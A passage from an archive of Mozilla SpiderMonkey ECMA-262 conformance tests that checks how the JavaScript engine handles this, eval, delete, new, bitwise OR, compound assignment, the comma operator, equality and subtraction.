GLOBAL_OBJECT, this.toString() ); new TestCase( SECTION, "Global Code: eval('this.toString()')", GLOBAL_OBJECT, eval('this.toString()') ); // this in anonymous code called as a function should return the global object. new TestCase( SECTION, "Anonymous Code: var MYFUNC = new Function('return this.toString()'); MYFUNC()", GLOBAL_OBJECT, eval("var MYFUNC = new Function('return this.toString()'); MYFUNC()") ); // eval( this ) in anonymous code called as a function should return that function's activation object new TestCase( SECTION, "Anonymous Code: var MYFUNC = new Function('return (eval(\"this.toString()\")'); (MYFUNC()).toString()", GLOBAL_OBJECT, eval("var MYFUNC = new Function('return eval(\"this.toString()\")'); (MYFUNC()).toString()") ); // this and eval( this ) in anonymous code called as a constructor should return the object new TestCase( SECTION, "Anonymous Code: var MYFUNC = new Function('this.THIS = this'); ((new MYFUNC()).THIS).toString()", "[object Object]", eval("var MYFUNC = new Function('this.THIS = this'); ((new MYFUNC()).THIS).toString()") ); new TestCase( SECTION, "Anonymous Code: var MYFUNC = new Function('this.THIS = this'); var FUN1 = new MYFUNC(); FUN1.THIS == FUN1", true, eval("var MYFUNC = new Function('this.THIS = this'); var FUN1 = new MYFUNC(); FUN1.THIS == FUN1") ); new TestCase( SECTION, "Anonymous Code: var MYFUNC = new Function('this.THIS = eval(\"this\")'); ((new MYFUNC().THIS).toString()", "[object Object]", eval("var MYFUNC = new Function('this.THIS = eval(\"this\")'); ((new MYFUNC()).THIS).toString()") ); new TestCase( SECTION, "Anonymous Code: var MYFUNC = new Function('this.THIS = eval(\"this\")'); var FUN1 = new MYFUNC(); FUN1.THIS == FUN1", true, eval("var MYFUNC = new Function('this.THIS = eval(\"this\")'); var FUN1 = new MYFUNC(); FUN1.THIS == FUN1") ); // this and eval(this) in function code called as a function should return the global object. new TestCase( SECTION, "Function Code: ReturnThis()", GLOBAL_OBJECT, ReturnThis() ); new TestCase( SECTION, "Function Code: ReturnEvalThis()", GLOBAL_OBJECT, ReturnEvalThis() ); // this and eval(this) in function code called as a contructor should return the object. new TestCase( SECTION, "var MYOBJECT = new ReturnThis(); MYOBJECT.toString()", "[object Object]", eval("var MYOBJECT = new ReturnThis(); MYOBJECT.toString()") ); new TestCase( SECTION, "var MYOBJECT = new ReturnEvalThis(); MYOBJECT.toString()", "[object Object]", eval("var MYOBJECT = new ReturnEvalThis(); MYOBJECT.toString()") ); test(); function ReturnThis() { return this.toString(); } function ReturnEvalThis() { return( eval("this.toString()") ); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.4.1.js0000664000175000017500000000462012106270663021457 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.4.1.js ECMA Section: 11.4.1 the Delete Operator Description: returns true if the property could be deleted returns false if it could not be deleted Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "11.4.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The delete operator"; writeHeaderToLog( SECTION + " "+ TITLE); // new TestCase( SECTION, "x=[9,8,7];delete(x[2]);x.length", 2, eval("x=[9,8,7];delete(x[2]);x.length") ); // new TestCase( SECTION, "x=[9,8,7];delete(x[2]);x.toString()", "9,8", eval("x=[9,8,7];delete(x[2]);x.toString()") ); new TestCase( SECTION, "x=new Date();delete x;typeof(x)", "undefined", eval("x=new Date();delete x;typeof(x)") ); // array[item++] = new TestCase( SECTION, "delete(x=new Date())", true, delete(x=new Date()) ); // array[item++] = new TestCase( SECTION, "delete('string primitive')", true, delete("string primitive") ); // array[item++] = new TestCase( SECTION, "delete(new String( 'string object' ) )", true, delete(new String("string object")) ); // array[item++] = new TestCase( SECTION, "delete(new Number(12345) )", true, delete(new Number(12345)) ); new TestCase( SECTION, "delete(Math.PI)", false, delete(Math.PI) ); // array[item++] = new TestCase( SECTION, "delete(null)", true, delete(null) ); // array[item++] = new TestCase( SECTION, "delete(void(0))", true, delete(void(0)) ); // variables declared with the var statement are not deletable. var abc; new TestCase( SECTION, "var abc; delete(abc)", false, delete abc ); new TestCase( SECTION, "var OB = new MyObject(); for ( p in OB ) { delete p }", true, eval("var OB = new MyObject(); for ( p in OB ) { delete p }") ); test(); function MyObject() { this.prop1 = true; this.prop2 = false; this.prop3 = null; this.prop4 = void 0; this.prop5 = "hi"; this.prop6 = 42; this.prop7 = new Date(); this.prop8 = Math.PI; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-5-n.js0000664000175000017500000000423512106270663022055 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-5-n.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-5-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); var NUMBER = 0; DESCRIPTION = "NUMBER=0, var n = new NUMBER()"; EXPECTED = "error"; new TestCase( SECTION, "NUMBER=0, var n = new NUMBER()", "error", eval("n = new NUMBER()") ); test(); function TestFunction() { return arguments; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.10-2.js0000664000175000017500000001144612106270663021540 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.10-2.js ECMA Section: 11.10-2 Binary Bitwise Operators: | Description: Semantics The production A : A @ B, where @ is one of the bitwise operators in the productions &, ^, | , is evaluated as follows: 1. Evaluate A. 2. Call GetValue(Result(1)). 3. Evaluate B. 4. Call GetValue(Result(3)). 5. Call ToInt32(Result(2)). 6. Call ToInt32(Result(4)). 7. Apply the bitwise operator @ to Result(5) and Result(6). The result is a signed 32 bit integer. 8. Return Result(7). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.10-2"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Binary Bitwise Operators: |"); var shiftexp = 0; var addexp = 0; for ( shiftpow = 0; shiftpow < 33; shiftpow++ ) { shiftexp += Math.pow( 2, shiftpow ); for ( addpow = 0; addpow < 33; addpow++ ) { addexp += Math.pow(2, addpow); new TestCase( SECTION, shiftexp + " | " + addexp, Or( shiftexp, addexp ), shiftexp | addexp ); } } test(); function ToInteger( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( n != n ) { return 0; } if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) { return n; } return ( sign * Math.floor(Math.abs(n)) ); } function ToInt32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32); n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n; return ( n ); } function ToUint32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = sign * Math.floor( Math.abs(n) ) n = n % Math.pow(2,32); if ( n < 0 ){ n += Math.pow(2,32); } return ( n ); } function ToUint16( n ) { var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16); if (n <0) { n += Math.pow(2,16); } return ( n ); } function Mask( b, n ) { b = ToUint32BitString( b ); b = b.substring( b.length - n ); b = ToUint32Decimal( b ); return ( b ); } function ToUint32BitString( n ) { var b = ""; for ( p = 31; p >=0; p-- ) { if ( n >= Math.pow(2,p) ) { b += "1"; n -= Math.pow(2,p); } else { b += "0"; } } return b; } function ToInt32BitString( n ) { var b = ""; var sign = ( n < 0 ) ? -1 : 1; b += ( sign == 1 ) ? "0" : "1"; for ( p = 30; p >=0; p-- ) { if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) { b += ( sign == 1 ) ? "1" : "0"; n -= sign * Math.pow( 2, p ); } else { b += ( sign == 1 ) ? "0" : "1"; } } return b; } function ToInt32Decimal( bin ) { var r = 0; var sign; if ( Number(bin.charAt(0)) == 0 ) { sign = 1; r = 0; } else { sign = -1; r = -(Math.pow(2,31)); } for ( var j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function ToUint32Decimal( bin ) { var r = 0; for ( l = bin.length; l < 32; l++ ) { bin = "0" + bin; } for ( j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function And( s, a ) { s = ToInt32( s ); a = ToInt32( a ); var bs = ToInt32BitString( s ); var ba = ToInt32BitString( a ); var result = ""; for ( var bit = 0; bit < bs.length; bit++ ) { if ( bs.charAt(bit) == "1" && ba.charAt(bit) == "1" ) { result += "1"; } else { result += "0"; } } return ToInt32Decimal(result); } function Xor( s, a ) { s = ToInt32( s ); a = ToInt32( a ); var bs = ToInt32BitString( s ); var ba = ToInt32BitString( a ); var result = ""; for ( var bit = 0; bit < bs.length; bit++ ) { if ( (bs.charAt(bit) == "1" && ba.charAt(bit) == "0") || (bs.charAt(bit) == "0" && ba.charAt(bit) == "1") ) { result += "1"; } else { result += "0"; } } return ToInt32Decimal(result); } function Or( s, a ) { s = ToInt32( s ); a = ToInt32( a ); var bs = ToInt32BitString( s ); var ba = ToInt32BitString( a ); var result = ""; for ( var bit = 0; bit < bs.length; bit++ ) { if ( bs.charAt(bit) == "1" || ba.charAt(bit) == "1" ) { result += "1"; } else { result += "0"; } } return ToInt32Decimal(result); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.13.2-3.js0000664000175000017500000002512312106270663021701 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.13.2-4.js ECMA Section: 11.13.2 Compound Assignment: %= Description: *= /= %= += -= <<= >>= >>>= &= ^= |= 11.13.2 Compound assignment ( op= ) The production AssignmentExpression : LeftHandSideExpression @ = AssignmentExpression, where @ represents one of the operators indicated above, is evaluated as follows: 1. Evaluate LeftHandSideExpression. 2. Call GetValue(Result(1)). 3. Evaluate AssignmentExpression. 4. Call GetValue(Result(3)). 5. Apply operator @ to Result(2) and Result(4). 6. Call PutValue(Result(1), Result(5)). 7. Return Result(5). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.13.2-3"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Compound Assignment: +="); // If either operand is NaN, result is NaN new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 %= VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 %= VAR2") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 %= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 %= VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 %= VAR2") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 %= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 %= VAR2", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 %= VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 %= VAR2; VAR1", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 %= VAR2; VAR1") ); // if the dividend is infinity or the divisor is zero or both, the result is NaN new TestCase( SECTION, "VAR1 = Infinity; VAR2= Infinity; VAR1 %= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = Infinity; VAR2= -Infinity; VAR1 %= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 =-Infinity; VAR2= Infinity; VAR1 %= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 =-Infinity; VAR2=-Infinity; VAR1 %= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= Infinity; VAR2 %= VAR1", Number.NaN, eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR2 %= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = -0; VAR2= Infinity; VAR2 %= VAR1", Number.NaN, eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR2 %= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -Infinity; VAR2 %= VAR1", Number.NaN, eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 %= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -Infinity; VAR2 %= VAR1", Number.NaN, eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR2 %= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = 1; VAR2= Infinity; VAR2 %= VAR1", Number.NaN, eval("VAR1 = 1; VAR2 = Number.POSITIVE_INFINITY; VAR2 %= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = -1; VAR2= Infinity; VAR2 %= VAR1", Number.NaN, eval("VAR1 = -1; VAR2 = Number.POSITIVE_INFINITY; VAR2 %= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = -1; VAR2= -Infinity; VAR2 %= VAR1", Number.NaN, eval("VAR1 = -1; VAR2 = Number.NEGATIVE_INFINITY; VAR2 %= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = 1; VAR2= -Infinity; VAR2 %= VAR1", Number.NaN, eval("VAR1 = 1; VAR2 = Number.NEGATIVE_INFINITY; VAR2 %= VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2= 0; VAR1 %= VAR2", Number.NaN, eval("VAR1 = 0; VAR2 = 0; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -0; VAR1 %= VAR2", Number.NaN, eval("VAR1 = 0; VAR2 = -0; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= 0; VAR1 %= VAR2", Number.NaN, eval("VAR1 = -0; VAR2 = 0; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -0; VAR1 %= VAR2", Number.NaN, eval("VAR1 = -0; VAR2 = -0; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 1; VAR2= 0; VAR1 %= VAR2", Number.NaN, eval("VAR1 = 1; VAR2 = 0; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 1; VAR2= -0; VAR1 %= VAR2", Number.NaN, eval("VAR1 = 1; VAR2 = -0; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -1; VAR2= 0; VAR1 %= VAR2", Number.NaN, eval("VAR1 = -1; VAR2 = 0; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -1; VAR2= -0; VAR1 %= VAR2", Number.NaN, eval("VAR1 = -1; VAR2 = -0; VAR1 %= VAR2; VAR1") ); // if the dividend is finite and the divisor is an infinity, the result equals the dividend. new TestCase( SECTION, "VAR1 = 0; VAR2= Infinity; VAR1 %= VAR2;VAR1", 0, eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= Infinity; VAR1 %= VAR2;VAR1", -0, eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -Infinity; VAR1 %= VAR2;VAR1", -0, eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -Infinity; VAR1 %= VAR2;VAR1", 0, eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 1; VAR2= Infinity; VAR1 %= VAR2;VAR1", 1, eval("VAR1 = 1; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -1; VAR2= Infinity; VAR1 %= VAR2;VAR1", -1, eval("VAR1 = -1; VAR2 = Number.POSITIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -1; VAR2= -Infinity; VAR1 %= VAR2;VAR1", -1, eval("VAR1 = -1; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 1; VAR2= -Infinity; VAR1 %= VAR2;VAR1", 1, eval("VAR1 = 1; VAR2 = Number.NEGATIVE_INFINITY; VAR1 %= VAR2; VAR1") ); // if the dividend is a zero and the divisor is finite, the result is the same as the dividend new TestCase( SECTION, "VAR1 = 0; VAR2= 1; VAR1 %= VAR2; VAR1", 0, eval("VAR1 = 0; VAR2 = 1; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= 1; VAR1 %= VAR2; VAR1", -0, eval("VAR1 = -0; VAR2 = 1; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -1; VAR1 %= VAR2; VAR1", -0, eval("VAR1 = -0; VAR2 = -1; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -1; VAR1 %= VAR2; VAR1", 0, eval("VAR1 = 0; VAR2 = -1; VAR1 %= VAR2; VAR1") ); // string cases new TestCase( SECTION, "VAR1 = 1000; VAR2 = '10', VAR1 %= VAR2; VAR1", 0, eval("VAR1 = 1000; VAR2 = '10', VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = '1000'; VAR2 = 10, VAR1 %= VAR2; VAR1", 0, eval("VAR1 = '1000'; VAR2 = 10, VAR1 %= VAR2; VAR1") ); /* new TestCase( SECTION, "VAR1 = 10; VAR2 = '0XFF', VAR1 %= VAR2", 2550, eval("VAR1 = 10; VAR2 = '0XFF', VAR1 %= VAR2") ); new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 %= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 %= VAR2") ); new TestCase( SECTION, "VAR1 = '10'; VAR2 = '255', VAR1 %= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '255', VAR1 %= VAR2") ); new TestCase( SECTION, "VAR1 = '10'; VAR2 = '0XFF', VAR1 %= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '0XFF', VAR1 %= VAR2") ); new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 %= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 %= VAR2") ); // boolean cases new TestCase( SECTION, "VAR1 = true; VAR2 = false; VAR1 %= VAR2", 0, eval("VAR1 = true; VAR2 = false; VAR1 %= VAR2") ); new TestCase( SECTION, "VAR1 = true; VAR2 = true; VAR1 %= VAR2", 1, eval("VAR1 = true; VAR2 = true; VAR1 %= VAR2") ); // object cases new TestCase( SECTION, "VAR1 = new Boolean(true); VAR2 = 10; VAR1 %= VAR2;VAR1", 10, eval("VAR1 = new Boolean(true); VAR2 = 10; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = 10; VAR1 %= VAR2; VAR1", 110, eval("VAR1 = new Number(11); VAR2 = 10; VAR1 %= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = new Number(10); VAR1 %= VAR2", 110, eval("VAR1 = new Number(11); VAR2 = new Number(10); VAR1 %= VAR2") ); new TestCase( SECTION, "VAR1 = new String('15'); VAR2 = new String('0xF'); VAR1 %= VAR2", 255, eval("VAR1 = String('15'); VAR2 = new String('0xF'); VAR1 %= VAR2") ); */ test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.14-1.js0000664000175000017500000000233412106270663021537 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.14-1.js ECMA Section: 11.14 Comma operator (,) Description: Expression : AssignmentExpression Expression , AssignmentExpression Semantics The production Expression : Expression , AssignmentExpression is evaluated as follows: 1. Evaluate Expression. 2. Call GetValue(Result(1)). 3. Evaluate AssignmentExpression. 4. Call GetValue(Result(3)). 5. Return Result(4). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.14-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Comma operator (,)"); new TestCase( SECTION, "true, false", false, eval("true, false") ); new TestCase( SECTION, "VAR1=true, VAR2=false", false, eval("VAR1=true, VAR2=false") ); new TestCase( SECTION, "VAR1=true, VAR2=false;VAR1", true, eval("VAR1=true, VAR2=false; VAR1") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.9.1.js0000664000175000017500000001456012106270663021470 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.9.1.js ECMA Section: 11.9.1 The equals operator ( == ) Description: The production EqualityExpression: EqualityExpression == RelationalExpression is evaluated as follows: 1. Evaluate EqualityExpression. 2. Call GetValue(Result(1)). 3. Evaluate RelationalExpression. 4. Call GetValue(Result(3)). 5. Perform the comparison Result(4) == Result(2). (See section 11.9.3) 6. Return Result(5). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.9.1"; var VERSION = "ECMA_1"; var BUGNUMBER="77391"; startTest(); writeHeaderToLog( SECTION + " The equals operator ( == )"); // type x and type y are the same. if type x is undefined or null, return true new TestCase( SECTION, "void 0 = void 0", true, void 0 == void 0 ); new TestCase( SECTION, "null == null", true, null == null ); // if x is NaN, return false. if y is NaN, return false. new TestCase( SECTION, "NaN == NaN", false, Number.NaN == Number.NaN ); new TestCase( SECTION, "NaN == 0", false, Number.NaN == 0 ); new TestCase( SECTION, "0 == NaN", false, 0 == Number.NaN ); new TestCase( SECTION, "NaN == Infinity", false, Number.NaN == Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Infinity == NaN", false, Number.POSITIVE_INFINITY == Number.NaN ); // if x is the same number value as y, return true. new TestCase( SECTION, "Number.MAX_VALUE == Number.MAX_VALUE", true, Number.MAX_VALUE == Number.MAX_VALUE ); new TestCase( SECTION, "Number.MIN_VALUE == Number.MIN_VALUE", true, Number.MIN_VALUE == Number.MIN_VALUE ); new TestCase( SECTION, "Number.POSITIVE_INFINITY == Number.POSITIVE_INFINITY", true, Number.POSITIVE_INFINITY == Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.NEGATIVE_INFINITY == Number.NEGATIVE_INFINITY", true, Number.NEGATIVE_INFINITY == Number.NEGATIVE_INFINITY ); // if xis 0 and y is -0, return true. if x is -0 and y is 0, return true. new TestCase( SECTION, "0 == 0", true, 0 == 0 ); new TestCase( SECTION, "0 == -0", true, 0 == -0 ); new TestCase( SECTION, "-0 == 0", true, -0 == 0 ); new TestCase( SECTION, "-0 == -0", true, -0 == -0 ); // return false. new TestCase( SECTION, "0.9 == 1", false, 0.9 == 1 ); new TestCase( SECTION, "0.999999 == 1", false, 0.999999 == 1 ); new TestCase( SECTION, "0.9999999999 == 1", false, 0.9999999999 == 1 ); new TestCase( SECTION, "0.9999999999999 == 1", false, 0.9999999999999 == 1 ); // type x and type y are the same type, but not numbers. // x and y are strings. return true if x and y are exactly the same sequence of characters. // otherwise, return false. new TestCase( SECTION, "'hello' == 'hello'", true, "hello" == "hello" ); // x and y are booleans. return true if both are true or both are false. new TestCase( SECTION, "true == true", true, true == true ); new TestCase( SECTION, "false == false", true, false == false ); new TestCase( SECTION, "true == false", false, true == false ); new TestCase( SECTION, "false == true", false, false == true ); // return true if x and y refer to the same object. otherwise return false. new TestCase( SECTION, "new MyObject(true) == new MyObject(true)", false, new MyObject(true) == new MyObject(true) ); new TestCase( SECTION, "new Boolean(true) == new Boolean(true)", false, new Boolean(true) == new Boolean(true) ); new TestCase( SECTION, "new Boolean(false) == new Boolean(false)", false, new Boolean(false) == new Boolean(false) ); new TestCase( SECTION, "x = new MyObject(true); y = x; z = x; z == y", true, eval("x = new MyObject(true); y = x; z = x; z == y") ); new TestCase( SECTION, "x = new MyObject(false); y = x; z = x; z == y", true, eval("x = new MyObject(false); y = x; z = x; z == y") ); new TestCase( SECTION, "x = new Boolean(true); y = x; z = x; z == y", true, eval("x = new Boolean(true); y = x; z = x; z == y") ); new TestCase( SECTION, "x = new Boolean(false); y = x; z = x; z == y", true, eval("x = new Boolean(false); y = x; z = x; z == y") ); new TestCase( SECTION, "new Boolean(true) == new Boolean(true)", false, new Boolean(true) == new Boolean(true) ); new TestCase( SECTION, "new Boolean(false) == new Boolean(false)", false, new Boolean(false) == new Boolean(false) ); // if x is null and y is undefined, return true. if x is undefined and y is null return true. new TestCase( SECTION, "null == void 0", true, null == void 0 ); new TestCase( SECTION, "void 0 == null", true, void 0 == null ); // if type(x) is Number and type(y) is string, return the result of the comparison x == ToNumber(y). new TestCase( SECTION, "1 == '1'", true, 1 == '1' ); new TestCase( SECTION, "255 == '0xff'", true, 255 == '0xff' ); new TestCase( SECTION, "0 == '\r'", true, 0 == "\r" ); new TestCase( SECTION, "1e19 == '1e19'", true, 1e19 == "1e19" ); new TestCase( SECTION, "new Boolean(true) == true", true, true == new Boolean(true) ); new TestCase( SECTION, "new MyObject(true) == true", true, true == new MyObject(true) ); new TestCase( SECTION, "new Boolean(false) == false", true, new Boolean(false) == false ); new TestCase( SECTION, "new MyObject(false) == false", true, new MyObject(false) == false ); new TestCase( SECTION, "true == new Boolean(true)", true, true == new Boolean(true) ); new TestCase( SECTION, "true == new MyObject(true)", true, true == new MyObject(true) ); new TestCase( SECTION, "false == new Boolean(false)", true, false == new Boolean(false) ); new TestCase( SECTION, "false == new MyObject(false)", true, false == new MyObject(false) ); test(); function MyObject( value ) { this.value = value; this.valueOf = new Function( "return this.value" ); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.6.2-1.js0000664000175000017500000001324012106270663021616 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.6.2-1.js ECMA Section: 11.6.2 The Subtraction operator ( - ) Description: The production AdditiveExpression : AdditiveExpression - MultiplicativeExpression is evaluated as follows: 1. Evaluate AdditiveExpression. 2. Call GetValue(Result(1)). 3. Evaluate MultiplicativeExpression. 4. Call GetValue(Result(3)). 5. Call ToNumber(Result(2)). 6. Call ToNumber(Result(4)). 7. Apply the subtraction operation to Result(5) and Result(6). See the discussion below (11.6.3). 8. Return Result(7). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.6.2-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The subtraction operator ( - )"); // tests for boolean primitive, boolean object, Object object, a "MyObject" whose value is // a boolean 